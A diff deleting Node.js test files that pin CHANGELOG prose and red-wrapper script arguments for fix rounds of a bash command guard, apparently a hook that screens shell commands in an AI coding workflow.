assert.ok(b.includes('decision 88'), `a Known-issues bullet naming an open finding does not say decision 88: ${b}`);
|
||||
}
|
||||
const followed = known.filter((b) => b.includes('VOYAGE_ARGS_EOF_7F3C9E') && b.includes('stays blocked'));
|
||||
assert.equal(followed.length, 1, `### Known issues must hold one bullet saying a command that mentions VOYAGE_ARGS_EOF_7F3C9E with a line after it stays blocked; found ${followed.length}`);
|
||||
const bashC = known.filter((b) => b.includes("bash -c $'"));
|
||||
assert.equal(bashC.length, 1, `### Known issues must hold one bullet on the one-physical-line bash -c $'...' case; found ${bashC.length}`);
|
||||
const tok = known.filter((b) => b.includes("'90s"));
|
||||
assert.equal(tok.length, 1, `### Known issues must hold one bullet on the tokenizer's word-initial quote ('90s); found ${tok.length}`);
|
||||
|
||||
// Red elsewhere: one ### Fixed bullet per part-2 id, and a door for the round.
|
||||
const fixed = changelogBullets('### Fixed');
|
||||
for (const id of ['(TOK)', '(HDG)', '(CKI)', '(DLC)']) {
|
||||
const hits = fixed.filter((b) => b.includes(id));
|
||||
assert.equal(hits.length, 1, `### Fixed must hold exactly one bullet marked ${id}; found ${hits.length}`);
|
||||
}
|
||||
const doors = changelogBullets('### Doors').filter((b) => b.includes('decision 88'));
|
||||
assert.equal(doors.length, 1, `### Doors must hold one bullet naming decision 88; found ${doors.length}`);
|
||||
|
||||
// Control: the three earlier Known issues stay, no fixed finding is listed as
|
||||
// open, and the R6 Fixed bullet keeps the one backticked rule name.
|
||||
for (const start of ["- **A plan's `profile:` field has no writer.**", '- **Splices and dropped', '- **Two 4.5b findings moved to fix round 4.5c.**']) {
|
||||
assert.equal(known.filter((b) => b.startsWith(start)).length, 1, `Control: ### Known issues must keep the bullet opening ${start}`);
|
||||
}
|
||||
for (const id of FIXED_IDS) {
|
||||
assert.deepEqual(known.filter((b) => b.includes(id)), [], `Control: the fixed finding ${id} must not stand under ### Known issues`);
|
||||
}
|
||||
assert.equal(fixed.filter((b) => b.includes('`args-heredoc-closed-early`')).length, 1,
|
||||
'Control: exactly one ### Fixed bullet holds `args-heredoc-closed-early`');
|
||||
});
|
||||
|
|
@ -1,117 +0,0 @@
|
|||
// tests/lib/fix-round-4-5b-part-3-prose.test.mjs
|
||||
// Prose pins for fix round 4-5b, part 3 (plan
|
||||
// .claude/projects/2026-10-28-fix-round-4-5b-part-3, decision 89): the fixes
|
||||
// that are text a session reads. The tag in brackets is the part-3 id from the
|
||||
// round's brief; the tagged test fails on an assertion at ce98f62, part 2's end
|
||||
// point. The keep-behaviour checks sit inside the tagged test as "Control:"
|
||||
// assertions.
|
||||
// KI3 the CHANGELOG lists part 3's fixes (CQW, PQO) under ### Fixed, its
|
||||
// door under ### Doors, the review's other two MAJOR (`3b98d18b`,
|
||||
// `69b086eb`) and the typed arguments the guard now refuses under
|
||||
// ### Known issues, and the tokenizer Known-issues line says exactly
|
||||
// what is left and when the operator accepted it.
|
||||
// No static import of a new export: the file must load at ce98f62.
|
||||
// Fix the SOURCE a pin guards, not the pin.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { existsSync, readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
||||
const readCache = new Map();
|
||||
|
||||
/** A repo file's text; the file must exist. Read from disk once per run. */
|
||||
function read(rel) {
|
||||
if (!readCache.has(rel)) {
|
||||
assert.ok(existsSync(join(ROOT, rel)), `missing file ${rel}`);
|
||||
readCache.set(rel, readFileSync(join(ROOT, rel), 'utf8'));
|
||||
}
|
||||
return readCache.get(rel);
|
||||
}
|
||||
|
||||
/** Whitespace (line breaks too) collapsed to one space. */
|
||||
const flat = (s) => s.replace(/\s+/g, ' ').trim();
|
||||
|
||||
// --- KI3: the round's CHANGELOG entry ----------------------------------------------
|
||||
// Part 3 stands in the same Unreleased section as parts 1 and 2. The section is
|
||||
// found by its title, by the rule tests/lib/fix-round-4-5b-part-2-prose.test.mjs
|
||||
// uses (copied, not imported): `## Unreleased — <title>` before the release,
|
||||
// `## vX.Y.Z — <date> — <title>` after it, exactly once, up to the next `## `.
|
||||
|
||||
const CHANGELOG_TITLE = "The annotating skill, the run coupling and P10's model-free part";
|
||||
const CHANGELOG_HEADING = new RegExp(`^## (?:Unreleased|v\\d+\\.\\d+\\.\\d+ — \\d{4}-\\d{2}-\\d{2}) — ${CHANGELOG_TITLE.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
|
||||
|
||||
/** The lines of the round's CHANGELOG section, heading excluded. */
|
||||
function changelogSection() {
|
||||
const lines = read('CHANGELOG.md').split('\n');
|
||||
const at = [];
|
||||
lines.forEach((l, i) => { if (CHANGELOG_HEADING.test(l.replace(/\s+$/, ''))) at.push(i); });
|
||||
assert.equal(at.length, 1, `CHANGELOG.md must hold the "${CHANGELOG_TITLE}" section exactly once (found ${at.length})`);
|
||||
let end = lines.length;
|
||||
for (let i = at[0] + 1; i < lines.length; i++) if (/^## /.test(lines[i])) { end = i; break; }
|
||||
return lines.slice(at[0] + 1, end);
|
||||
}
|
||||
|
||||
/** The bullets of one `### ` subsection of the round's CHANGELOG section, each flattened to one line. */
|
||||
function changelogBullets(heading) {
|
||||
const lines = changelogSection();
|
||||
const s = lines.findIndex((l) => l.replace(/\s+$/, '') === heading);
|
||||
assert.ok(s !== -1, `the "${CHANGELOG_TITLE}" section of CHANGELOG.md must have "${heading}"`);
|
||||
const out = [];
|
||||
for (const l of lines.slice(s + 1)) {
|
||||
if (/^### /.test(l)) break;
|
||||
if (/^- /.test(l)) out.push(l);
|
||||
else if (out.length && l.trim() !== '' && /^\s/.test(l)) out[out.length - 1] += ` ${l}`;
|
||||
else if (l.trim() !== '') out.push('');
|
||||
}
|
||||
return out.filter((b) => b !== '').map(flat);
|
||||
}
|
||||
|
||||
// The review's two MAJOR findings part 3 leaves open, and the two it fixes; the
|
||||
// ids are the review's, written out here.
|
||||
const OPEN_IDS = ['3b98d18b', '69b086eb'];
|
||||
const FIXED_IDS = ['87a693f0', '021996c6'];
|
||||
|
||||
test('[KI3] the CHANGELOG lists part 3\'s fixes, the review\'s other two MAJOR and the corrected tokenizer line', () => {
|
||||
const known = changelogBullets('### Known issues');
|
||||
|
||||
// Red: each open finding has exactly one Known-issues bullet, and that bullet names decision 89.
|
||||
for (const id of OPEN_IDS) {
|
||||
const hits = known.filter((b) => b.includes(id));
|
||||
assert.equal(hits.length, 1, `### Known issues must hold exactly one bullet naming ${id}; found ${hits.length}`);
|
||||
assert.ok(hits[0].includes('decision 89'), `the Known-issues bullet naming ${id} does not say decision 89: ${hits[0]}`);
|
||||
}
|
||||
|
||||
// Red: the typed arguments the guard now refuses have one Known-issues bullet.
|
||||
const refused = known.filter((b) => b.includes("<<$'\\t'"));
|
||||
assert.equal(refused.length, 1, `### Known issues must hold exactly one bullet naming the typed argument <<$'\\t'; found ${refused.length}`);
|
||||
|
||||
// Red: the tokenizer bullet says what is left and when the operator accepted it.
|
||||
const tok = known.filter((b) => b.includes("'90s"));
|
||||
assert.equal(tok.length, 1, `### Known issues must hold exactly one bullet holding '90s; found ${tok.length}`);
|
||||
for (const part of ['say "hi"', 'x --since ', '2026-10-27', '2026-10-28']) {
|
||||
assert.ok(tok[0].includes(part), `the tokenizer Known-issues bullet must hold ${JSON.stringify(part)}: ${tok[0]}`);
|
||||
}
|
||||
for (const gone of ['"a "', 'accepted these']) {
|
||||
assert.ok(!tok[0].includes(gone), `the tokenizer Known-issues bullet must no longer hold ${JSON.stringify(gone)}: ${tok[0]}`);
|
||||
}
|
||||
|
||||
// Red elsewhere: one ### Fixed bullet per part-3 id, each naming its review
|
||||
// finding, and a door for the round.
|
||||
const fixed = changelogBullets('### Fixed');
|
||||
for (const [tag, id] of [['(CQW)', '87a693f0'], ['(PQO)', '021996c6']]) {
|
||||
const hits = fixed.filter((b) => b.includes(tag));
|
||||
assert.equal(hits.length, 1, `### Fixed must hold exactly one bullet marked ${tag}; found ${hits.length}`);
|
||||
assert.ok(hits[0].includes(id), `the ### Fixed bullet marked ${tag} must name review finding ${id}: ${hits[0]}`);
|
||||
}
|
||||
const doors = changelogBullets('### Doors').filter((b) => b.includes('decision 89'));
|
||||
assert.equal(doors.length, 1, `### Doors must hold one bullet naming decision 89; found ${doors.length}`);
|
||||
|
||||
// Control: no fixed finding is listed as open.
|
||||
for (const id of FIXED_IDS) {
|
||||
assert.deepEqual(known.filter((b) => b.includes(id)), [], `Control: the fixed finding ${id} must not stand under ### Known issues`);
|
||||
}
|
||||
});
|
||||
|
|
@ -1,205 +0,0 @@
|
|||
// tests/lib/fix-round-4-5b2-a-prose.test.mjs
|
||||
// Prose pins for fix round 4.5b2, part A (plan
|
||||
// .claude/projects/2026-10-31-guard-4-5b2-part-a, decisions 91, 107, 122 and
|
||||
// 123): the fixes that are text a session reads. The tag in brackets is the
|
||||
// part-A id from the round's plan; each tagged test fails on an assertion at
|
||||
// e2d6bec, part 4's end point. The keep-behaviour checks sit inside the tagged
|
||||
// test as "Control:" assertions.
|
||||
// KIA the CHANGELOG lists part A's fixes (RXT, CNT, SFX, ESR, EVL, SIS, HDR)
|
||||
// under ### Fixed, brings part 4's CSG, SLT and ESC bullets in line,
|
||||
// lists the two MAJOR findings decision 122 keeps, the four MINOR and
|
||||
// what part A leaves open under ### Known issues, and its door under
|
||||
// ### Doors.
|
||||
// HDR tests/hooks/bash-guard-false-stops.test.mjs names its red base
|
||||
// 591f3c4. In the red clone this test passes at e2d6bec, because the
|
||||
// working tree's tests/ is copied in; its red is shown under a named
|
||||
// mutation that writes the old header back.
|
||||
// No static import of a new export: the file must load at e2d6bec.
|
||||
// Fix the SOURCE a pin guards, not the pin.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { existsSync, readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
||||
const readCache = new Map();
|
||||
|
||||
/** A repo file's text; the file must exist. Read from disk once per run. */
|
||||
function read(rel) {
|
||||
if (!readCache.has(rel)) {
|
||||
assert.ok(existsSync(join(ROOT, rel)), `missing file ${rel}`);
|
||||
readCache.set(rel, readFileSync(join(ROOT, rel), 'utf8'));
|
||||
}
|
||||
return readCache.get(rel);
|
||||
}
|
||||
|
||||
/** Whitespace (line breaks too) collapsed to one space. */
|
||||
const flat = (s) => s.replace(/\s+/g, ' ').trim();
|
||||
|
||||
// --- KIA: the round's CHANGELOG entry ----------------------------------------------
|
||||
// Part A stands in the same Unreleased section as parts 1 to 4. The section is
|
||||
// found by its title, by the rule tests/lib/fix-round-4-5b-part-4-prose.test.mjs
|
||||
// uses (copied, not imported): `## Unreleased — <title>` before the release,
|
||||
// `## vX.Y.Z — <date> — <title>` after it, exactly once, up to the next `## `.
|
||||
|
||||
const CHANGELOG_TITLE = "The annotating skill, the run coupling and P10's model-free part";
|
||||
const CHANGELOG_HEADING = new RegExp(`^## (?:Unreleased|v\\d+\\.\\d+\\.\\d+ — \\d{4}-\\d{2}-\\d{2}) — ${CHANGELOG_TITLE.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`);
|
||||
|
||||
/** The lines of the round's CHANGELOG section, heading excluded. */
|
||||
function changelogSection() {
|
||||
const lines = read('CHANGELOG.md').split('\n');
|
||||
const at = [];
|
||||
lines.forEach((l, i) => { if (CHANGELOG_HEADING.test(l.replace(/\s+$/, ''))) at.push(i); });
|
||||
assert.equal(at.length, 1, `CHANGELOG.md must hold the "${CHANGELOG_TITLE}" section exactly once (found ${at.length})`);
|
||||
let end = lines.length;
|
||||
for (let i = at[0] + 1; i < lines.length; i++) if (/^## /.test(lines[i])) { end = i; break; }
|
||||
return lines.slice(at[0] + 1, end);
|
||||
}
|
||||
|
||||
/** The bullets of one `### ` subsection of the round's CHANGELOG section, each flattened to one line. */
|
||||
function changelogBullets(heading) {
|
||||
const lines = changelogSection();
|
||||
const s = lines.findIndex((l) => l.replace(/\s+$/, '') === heading);
|
||||
assert.ok(s !== -1, `the "${CHANGELOG_TITLE}" section of CHANGELOG.md must have "${heading}"`);
|
||||
const out = [];
|
||||
for (const l of lines.slice(s + 1)) {
|
||||
if (/^### /.test(l)) break;
|
||||
if (/^- /.test(l)) out.push(l);
|
||||
else if (out.length && l.trim() !== '' && /^\s/.test(l)) out[out.length - 1] += ` ${l}`;
|
||||
else if (l.trim() !== '') out.push('');
|
||||
}
|
||||
return out.filter((b) => b !== '').map(flat);
|
||||
}
|
||||
|
||||
// Part A's seven Fixed bullets, each with the ref it must name: the four review
|
||||
// findings of part 4's review it fixes, the two operator decisions and the
|
||||
// false test header. The ids are the review's, written out here.
|
||||
const FIXED = [
|
||||
['(RXT)', '5f1cc34c'], ['(CNT)', '97d1f547'], ['(SFX)', '27b0b46a'], ['(ESR)', 'ed40abdb'],
|
||||
['(EVL)', 'decision 107'], ['(SIS)', 'decision 123'], ['(HDR)', '86488cd6'],
|
||||
];
|
||||
const FIXED_IDS = ['5f1cc34c', '97d1f547', '27b0b46a', 'ed40abdb'];
|
||||
const NEW_TAGS = FIXED.map(([tag]) => tag);
|
||||
// The two MAJOR findings decision 122 keeps open.
|
||||
const KEPT_IDS = ['943f9841', 'a6735ef9'];
|
||||
// The review's four MINOR findings, listed as open under decision 91.
|
||||
const MINOR_IDS = ['03df3b0b', '78040bd7', '49873813', '79402171'];
|
||||
|
||||
const DELIM = 'VOYAGE_ARGS_EOF_7F3C9E';
|
||||
const TWO_ESCAPED = 'two escaped `<` in a row';
|
||||
|
||||
test('[KIA] the CHANGELOG lists part A\'s seven fixes under ### Fixed, each with its ref', () => {
|
||||
const fixed = changelogBullets('### Fixed');
|
||||
|
||||
// Red: one ### Fixed bullet per part-A tag, each naming its ref.
|
||||
for (const [tag, ref] of FIXED) {
|
||||
const hits = fixed.filter((b) => b.includes(tag) && b.includes(ref));
|
||||
assert.equal(hits.length, 1, `### Fixed must hold exactly one bullet marked ${tag} naming ${ref}; found ${hits.length}`);
|
||||
}
|
||||
|
||||
// Control: no fixed finding is listed as open.
|
||||
const known = changelogBullets('### Known issues');
|
||||
for (const id of FIXED_IDS) {
|
||||
assert.deepEqual(known.filter((b) => b.includes(id)), [], `Control: the fixed finding ${id} must not stand under ### Known issues`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[KIA] the two MAJOR findings decision 122 keeps stand under ### Known issues, one bullet each', () => {
|
||||
const known = changelogBullets('### Known issues');
|
||||
|
||||
// Red: each kept finding has exactly one Known-issues bullet, and that bullet names decision 122.
|
||||
const bullets = [];
|
||||
for (const id of KEPT_IDS) {
|
||||
const hits = known.filter((b) => b.includes(id));
|
||||
assert.equal(hits.length, 1, `### Known issues must hold exactly one bullet naming ${id}; found ${hits.length}`);
|
||||
assert.ok(hits[0].includes('decision 122'), `the Known-issues bullet naming ${id} does not say decision 122: ${hits[0]}`);
|
||||
bullets.push(hits[0]);
|
||||
}
|
||||
assert.notEqual(bullets[0], bullets[1], `${KEPT_IDS[0]} and ${KEPT_IDS[1]} must stand in two different Known-issues bullets`);
|
||||
|
||||
// Control: neither kept finding stands in a Fixed bullet marked with one of part A's tags.
|
||||
const fixed = changelogBullets('### Fixed');
|
||||
for (const id of KEPT_IDS) {
|
||||
const hits = fixed.filter((b) => b.includes(id) && NEW_TAGS.some((tag) => b.includes(tag)));
|
||||
assert.deepEqual(hits, [], `Control: ${id} must not stand in a ### Fixed bullet marked with one of ${NEW_TAGS.join(' ')}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[KIA] part 4\'s SLT bullet no longer promises a pass the guard refuses, and names the SIS exception', () => {
|
||||
const slt = changelogBullets('### Fixed').filter((b) => b.includes('(SLT)'));
|
||||
assert.equal(slt.length, 1, `### Fixed must hold exactly one bullet marked (SLT); found ${slt.length}`);
|
||||
|
||||
// Red: the old promise is gone.
|
||||
assert.ok(!slt[0].includes('pass again'), `the (SLT) bullet must not hold "pass again": ${slt[0]}`);
|
||||
|
||||
// It names the gaps of part 4's review, what is refused as before, and the SIS exception.
|
||||
for (const part of [...KEPT_IDS, 'refused as before', 'unless a backslash-newline splits']) {
|
||||
assert.ok(slt[0].includes(part), `the (SLT) bullet must hold ${JSON.stringify(part)}: ${slt[0]}`);
|
||||
}
|
||||
assert.ok(!slt[0].includes('is text and passes, so'), `the (SLT) bullet must not hold "is text and passes, so": ${slt[0]}`);
|
||||
});
|
||||
|
||||
test('[KIA] part 4\'s CSG and ESC bullets name the gaps part A fixes, ESC with the EVL exception', () => {
|
||||
const fixed = changelogBullets('### Fixed');
|
||||
|
||||
// Red: the CSG bullet names the split-delimiter gap.
|
||||
const csg = fixed.filter((b) => b.includes('(CSG)'));
|
||||
assert.equal(csg.length, 1, `### Fixed must hold exactly one bullet marked (CSG); found ${csg.length}`);
|
||||
assert.ok(csg[0].includes('27b0b46a'), `the (CSG) bullet must name review finding 27b0b46a: ${csg[0]}`);
|
||||
|
||||
// The ESC bullet names the whole-command limits gap and the EVL exception.
|
||||
const esc = fixed.filter((b) => b.includes('(ESC)'));
|
||||
assert.equal(esc.length, 1, `### Fixed must hold exactly one bullet marked (ESC); found ${esc.length}`);
|
||||
for (const part of ['ed40abdb', 'still open before the run', TWO_ESCAPED]) {
|
||||
assert.ok(esc[0].includes(part), `the (ESC) bullet must hold ${JSON.stringify(part)}: ${esc[0]}`);
|
||||
}
|
||||
for (const gone of ['no quote or heredoc operator before it', 'stands before the run']) {
|
||||
assert.ok(!esc[0].includes(gone), `the (ESC) bullet must not hold ${JSON.stringify(gone)}: ${esc[0]}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[KIA] ### Known issues lists the four MINOR, decisions 107, 123 and 124, and part 2\'s bullet with its exceptions', () => {
|
||||
const known = changelogBullets('### Known issues');
|
||||
|
||||
// Red: each MINOR finding has exactly one Known-issues bullet, and that bullet names decision 91.
|
||||
for (const id of MINOR_IDS) {
|
||||
const hits = known.filter((b) => b.includes(id));
|
||||
assert.equal(hits.length, 1, `### Known issues must hold exactly one bullet naming ${id}; found ${hits.length}`);
|
||||
assert.ok(hits[0].includes('decision 91'), `the Known-issues bullet naming ${id} does not say decision 91: ${hits[0]}`);
|
||||
}
|
||||
|
||||
// What part A leaves open: one bullet per decision.
|
||||
const d107 = known.filter((b) => b.includes('decision 107'));
|
||||
assert.equal(d107.length, 1, `### Known issues must hold exactly one bullet naming decision 107; found ${d107.length}`);
|
||||
const d124 = known.filter((b) => b.includes('decision 124'));
|
||||
assert.equal(d124.length, 1, `### Known issues must hold exactly one bullet naming decision 124; found ${d124.length}`);
|
||||
for (const part of ['setopt', 'emulate', 'set -o', 'shopt', 'alias']) {
|
||||
assert.ok(d124[0].includes(part), `the decision 124 Known-issues bullet must hold ${JSON.stringify(part)}: ${d124[0]}`);
|
||||
}
|
||||
const d123 = known.filter((b) => b.includes('decision 123'));
|
||||
assert.equal(d123.length, 1, `### Known issues must hold exactly one bullet naming decision 123; found ${d123.length}`);
|
||||
|
||||
// Part 2's bullet keeps its pair and names the exceptions part A widens.
|
||||
const followed = known.filter((b) => b.includes(DELIM) && b.includes('stays blocked'));
|
||||
assert.equal(followed.length, 1, `### Known issues must hold one bullet holding ${DELIM} and "stays blocked"; found ${followed.length}`);
|
||||
for (const part of ['fix round 4.5b2 part A', TWO_ESCAPED]) {
|
||||
assert.ok(followed[0].includes(part), `part 2's Known-issues bullet must hold ${JSON.stringify(part)}: ${followed[0]}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('[KIA] ### Doors holds one line for decision 91', () => {
|
||||
const doors = changelogBullets('### Doors').filter((b) => b.includes('decision 91'));
|
||||
assert.equal(doors.length, 1, `### Doors must hold exactly one bullet naming decision 91; found ${doors.length}`);
|
||||
});
|
||||
|
||||
// --- HDR: the false-stops test header -----------------------------------------------
|
||||
|
||||
test('[HDR] tests/hooks/bash-guard-false-stops.test.mjs names its red base 591f3c4', () => {
|
||||
const text = read('tests/hooks/bash-guard-false-stops.test.mjs');
|
||||
assert.ok(!text.includes('loads at 12bca8b'), 'tests/hooks/bash-guard-false-stops.test.mjs must not hold "loads at 12bca8b"');
|
||||
const hits = text.split('loads at 591f3c4').length - 1;
|
||||
assert.equal(hits, 1, `tests/hooks/bash-guard-false-stops.test.mjs must hold "loads at 591f3c4" exactly once; found ${hits}`);
|
||||
});
|
||||
|
|
@ -1,162 +0,0 @@
|
|||
// tests/lib/fix-round-4-5b2-a-scripts.test.mjs
|
||||
// The form of fix round 4.5b2 part A's shell scripts and mutation module (plan
|
||||
// .claude/projects/2026-10-31-guard-4-5b2-part-a, Step 5, 5d): the red
|
||||
// wrapper, the regression script, the bypass corpus, the end-to-end run and
|
||||
// the mutations.
|
||||
// Untagged on purpose and listed in no red wrapper's FILES: these checks are
|
||||
// not a part-A fix.
|
||||
// - each script exists, is ASCII only, passes /bin/bash -n and uses no
|
||||
// bash 4 form;
|
||||
// - the red wrapper hands the shared red script exactly one --other-ids,
|
||||
// whose words are the 4-5a IDS= words, then part 1's, part 2's, part 3's
|
||||
// and part 4's, --ids RXT CNT SFX ESR EVL KIA HDR SIS, exactly the two
|
||||
// tagged test files, and no argument naming the keep file or its tag (run
|
||||
// from a temp root next to a stub red-round.sh that prints its arguments,
|
||||
// the method of tests/lib/red-script.test.mjs);
|
||||
// - with the 4-5a, the part-1, the part-2, the part-3 or the part-4 wrapper
|
||||
// lacking its IDS= line, the red wrapper exits 2 with a setup failure and
|
||||
// never runs the shared script;
|
||||
// - red-mutate.mjs list prints exactly the three part-A mutations.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { spawnSync } from 'node:child_process';
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { childEnv } from '../helpers/child-env.mjs';
|
||||
|
||||
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..', '..');
|
||||
|
||||
const RED = 'tests/fix-round-4-5b2-a-red.sh';
|
||||
const REGRESSION = 'tests/fix-round-4-5b2-a-regression.sh';
|
||||
const CORPUS = 'tests/guard-bypass-corpus-4-5b2-a.sh';
|
||||
const E2E = 'tests/e2e-fix-round-4-5b2-a.sh';
|
||||
const MUTATIONS = 'tests/fix-round-4-5b2-a-mutations.mjs';
|
||||
const WRAP_A = 'tests/fix-round-4-5a-red.sh';
|
||||
const WRAP_B = 'tests/fix-round-4-5b-red.sh';
|
||||
const WRAP_C = 'tests/fix-round-4-5b-part-2-red.sh';
|
||||
const WRAP_D = 'tests/fix-round-4-5b-part-3-red.sh';
|
||||
const WRAP_E = 'tests/fix-round-4-5b-part-4-red.sh';
|
||||
const OLDER = [WRAP_A, WRAP_B, WRAP_C, WRAP_D, WRAP_E];
|
||||
const PARTA_IDS = ['RXT', 'CNT', 'SFX', 'ESR', 'EVL', 'KIA', 'HDR', 'SIS'];
|
||||
const PARTA_FILES = ['tests/hooks/bash-guard-4-5b2-a.test.mjs', 'tests/lib/fix-round-4-5b2-a-prose.test.mjs'];
|
||||
/** The shared script's options that take a value; every other argument after them is a test file. */
|
||||
const VALUE_OPTIONS = ['--base', '--ids', '--other-ids', '--mutations'];
|
||||
|
||||
/** A repo file's bytes; the file must exist. */
|
||||
function bytes(rel) {
|
||||
assert.ok(existsSync(join(ROOT, rel)), `missing file ${rel}`);
|
||||
return readFileSync(join(ROOT, rel));
|
||||
}
|
||||
|
||||
/** The words of a wrapper's one IDS='...' line. */
|
||||
function idsOf(rel) {
|
||||
const lines = bytes(rel).toString('utf8').split('\n').filter((l) => l.startsWith('IDS='));
|
||||
assert.equal(lines.length, 1, `expected one IDS= line in ${rel}; found ${lines.length}`);
|
||||
const m = lines[0].match(/^IDS='([^']*)'$/);
|
||||
assert.ok(m, `the IDS= line of ${rel} is not one single-quoted list: ${lines[0]}`);
|
||||
return m[1].split(/\s+/).filter(Boolean);
|
||||
}
|
||||
|
||||
test('part-A scripts: each exists, is ASCII only, passes /bin/bash -n and uses no bash 4 form', () => {
|
||||
for (const rel of [RED, REGRESSION, CORPUS, E2E]) {
|
||||
const buf = bytes(rel);
|
||||
assert.equal(buf.findIndex((b) => b > 127), -1, `${rel} is not ASCII only`);
|
||||
const r = spawnSync('/bin/bash', ['-n', join(ROOT, rel)], { encoding: 'utf8', env: childEnv() });
|
||||
assert.equal(r.status, 0, `${rel} does not pass /bin/bash -n: ${r.stderr}`);
|
||||
const text = buf.toString('utf8');
|
||||
for (const bash4 of [/\bdeclare -A\b/, /\bmapfile\b/, /\breadarray\b/, /\|&/]) {
|
||||
assert.doesNotMatch(text, bash4, `${rel} uses ${bash4}, which bash 3.2 lacks`);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
/** A stand-in for the shared script: one ARG: line per argument, exit 0. */
|
||||
const STUB = `#!/bin/bash
|
||||
for a in "$@"; do printf 'ARG:%s\\n' "$a"; done
|
||||
exit 0
|
||||
`;
|
||||
|
||||
/** A temp root with the part-A wrapper, the five older wrappers and the stub as tests/helpers/red-round.sh. */
|
||||
function stubRoot(base) {
|
||||
const dir = join(base, 'root');
|
||||
mkdirSync(join(dir, 'tests', 'helpers'), { recursive: true });
|
||||
for (const rel of [RED, ...OLDER]) writeFileSync(join(dir, rel), bytes(rel));
|
||||
writeFileSync(join(dir, 'tests', 'helpers', 'red-round.sh'), STUB, { mode: 0o755 });
|
||||
return dir;
|
||||
}
|
||||
|
||||
/** The part-A wrapper run from a temp root: status, output and the arguments the stub saw. */
|
||||
function runWrapper(dir) {
|
||||
const r = spawnSync('/bin/bash', [join(dir, RED)], { cwd: tmpdir(), encoding: 'utf8', timeout: 30000, env: childEnv() });
|
||||
const argv = (r.stdout || '').split('\n').filter((l) => l.startsWith('ARG:')).map((l) => l.slice(4));
|
||||
return { status: r.status, out: `${r.stdout}${r.stderr}`, stderr: r.stderr || '', argv };
|
||||
}
|
||||
|
||||
/** The arguments that are neither an option nor an option's value: the test files. */
|
||||
function filesOf(argv) {
|
||||
const files = [];
|
||||
for (let i = 0; i < argv.length; i += 1) {
|
||||
if (VALUE_OPTIONS.includes(argv[i])) { i += 1; continue; }
|
||||
if (argv[i].startsWith('--')) continue;
|
||||
files.push(argv[i]);
|
||||
}
|
||||
return files;
|
||||
}
|
||||
|
||||
test('part-A scripts: the red wrapper passes one --other-ids with the five older rounds\' ids in order, its own eight ids and its two tagged files', () => {
|
||||
const text = bytes(RED).toString('utf8');
|
||||
const execLines = text.split('\n').filter((l) => /^exec /.test(l));
|
||||
assert.equal(execLines.length, 1, `${RED} must hold one exec line; found ${execLines.length}`);
|
||||
assert.equal(execLines[0].split('--other-ids').length - 1, 1, `${RED}: the exec line must pass --other-ids exactly once: ${execLines[0]}`);
|
||||
|
||||
const base = mkdtempSync(join(tmpdir(), 'partA-red-wrap-'));
|
||||
try {
|
||||
const r = runWrapper(stubRoot(base));
|
||||
assert.equal(r.status, 0, `${RED} did not run the shared script:\n${r.out}`);
|
||||
const at = r.argv.map((a, i) => (a === '--other-ids' ? i : -1)).filter((i) => i >= 0);
|
||||
assert.equal(at.length, 1, `${RED} handed the shared script --other-ids ${at.length} times:\n${r.out}`);
|
||||
const other = (r.argv[at[0] + 1] || '').split(/\s+/).filter(Boolean);
|
||||
assert.deepEqual(other, OLDER.flatMap((rel) => idsOf(rel)),
|
||||
`${RED}: --other-ids is not the IDS= words of ${OLDER.join(', then ')}\n${r.out}`);
|
||||
const idsAt = r.argv.indexOf('--ids');
|
||||
assert.ok(idsAt >= 0, `${RED} passed no --ids:\n${r.out}`);
|
||||
assert.deepEqual(r.argv[idsAt + 1].split(/\s+/).filter(Boolean), PARTA_IDS, `${RED}: --ids is not ${PARTA_IDS.join(' ')}\n${r.out}`);
|
||||
assert.deepEqual(filesOf(r.argv), PARTA_FILES, `${RED}: the test files are not exactly ${PARTA_FILES.join(' and ')}\n${r.out}`);
|
||||
for (const a of r.argv) {
|
||||
assert.ok(!a.includes('-known') && !a.includes('KNA'), `${RED} passed an argument naming the keep file or its tag: ${a}\n${r.out}`);
|
||||
}
|
||||
} finally {
|
||||
rmSync(base, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('part-A scripts: the red wrapper exits 2 with a setup failure when an older wrapper has no IDS= line', () => {
|
||||
for (const missing of OLDER) {
|
||||
const base = mkdtempSync(join(tmpdir(), 'partA-red-noids-'));
|
||||
try {
|
||||
const dir = stubRoot(base);
|
||||
const text = bytes(missing).toString('utf8');
|
||||
writeFileSync(join(dir, missing), text.split('\n').filter((l) => !l.startsWith('IDS=')).join('\n'));
|
||||
const r = runWrapper(dir);
|
||||
assert.equal(r.status, 2, `${RED}: ${missing} without an IDS= line is not exit 2\n${r.out}`);
|
||||
assert.match(r.stderr, /setup failure/, `${RED}: no setup failure line when ${missing} has no IDS= line\n${r.out}`);
|
||||
assert.ok(r.stderr.includes(missing), `${RED}: the setup failure line does not name ${missing}\n${r.out}`);
|
||||
assert.deepEqual(r.argv, [], `${RED} ran the shared script though ${missing} has no IDS= line\n${r.out}`);
|
||||
} finally {
|
||||
rmSync(base, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('part-A scripts: red-mutate.mjs list prints exactly the three part-A mutations', () => {
|
||||
assert.ok(existsSync(join(ROOT, MUTATIONS)), `missing file ${MUTATIONS}`);
|
